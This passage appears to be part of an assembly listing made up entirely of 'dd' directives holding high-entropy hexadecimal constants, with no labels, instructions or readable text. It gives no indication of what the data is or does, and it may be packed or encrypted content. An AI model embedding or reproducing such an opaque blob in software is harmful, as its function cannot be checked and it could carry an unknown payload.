0BF67606Eh, 44704Eh, 680E4A19h dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h dd 0EA6F4363h, 581862h, 6C1C6847h, 77875166h, 31706B00h dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h dd 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch dd 3741150h, 61670046h, 60886376h, 8BA05677h, 6D000A62h dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h dd 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h dd 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h dd 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh dd 8053B84h, 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h dd 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h dd 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h dd 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh dd 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h, 0D4DDC30Ch dd 80072089h, 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh dd 0B0C1D73Bh, 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h dd 8F7D0EEh, 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h dd 13007387h, 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh dd 0A9841D6h, 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h dd 0A500A8BEh, 358498F2h, 28033372h, 9D863210h, 0E628039h dd 7A2C1D11h, 8158CA2h, 2B7D4F0Ch, 28783F03h, 0A90C5820h dd 63C510AFh, 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h dd 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh, 6B006E96h dd 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h dd 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h dd 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch dd 0C7FD04D8h, 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h dd 1AC11BC9h, 21B9F58h, 9C18153Bh, 1254E047h, 0C550001h dd 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh dd 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch dd 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch dd 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h dd 15D63479h, 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h dd 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh dd 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h dd 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah dd 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h dd 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h dd 68E8EB85h, 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h dd 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h dd 0A9840003h, 8AB08805h dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h dd 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h dd 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h dd 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h, 70690052h dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh dd 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h dd 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh, 9729863Ch dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h, 817A4400h dd 586A07E2h, 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h dd 10B77538h, 1C9EBA3h, 39F00A7Bh, 0ECC156CCh, 0BC00FA04h dd 869460A0h, 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh dd 0A8201E00h, 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h dd 0D06A4A4h, 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h dd 0E072500h, 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h dd 0E03906ADh, 32C30720h, 172C7440h, 1739997Ah, 74126601h dd 0D9075913h, 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h dd 222AD880h, 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h dd 9407A326h, 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h dd 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h dd 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah dd 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h dd 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h dd 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h, 0B1437194h dd 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h dd 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h dd 32872900h, 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch dd 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh dd 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h dd 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh dd 0C0507076h, 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h dd 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah dd 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h dd 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h dd 4A4DBF83h, 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah dd 0B5408300h, 0C0010A6Ch dd 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h dd 3685944h, 30058B64h, 3C148500h, 421904F2h, 0C4080F02h dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h dd 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h dd 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh dd 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h dd 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h dd 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h dd 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h dd 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h dd 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h dd 4FAA5F2h, 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh dd 5C00F2FEh, 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h dd 0A798009Dh, 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh dd 0A4E300D7h, 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h dd 0FAE33C13h, 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah dd 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h dd 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h dd 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh dd 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h dd 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h dd 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h dd 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h dd 5B0033A7h, 1E759546h, 15A9Bh, 24871785h, 36FF1491h dd 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch dd 93DBE848h, 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h dd 317B53BBh, 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h dd 29891600h, 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h dd 517FEF62h, 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h dd 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h dd 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh dd 5D400200h, 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h dd 864630Fh, 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh dd 0E6BA5600h, 13505358h, 9C780089h, 4AA574F1h, 310229BEh dd 8D2A0746h, 45244054h, 37120143h, 3570A985h, 7378F456h dd 74160800h, 9CAE0D24h dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h dd 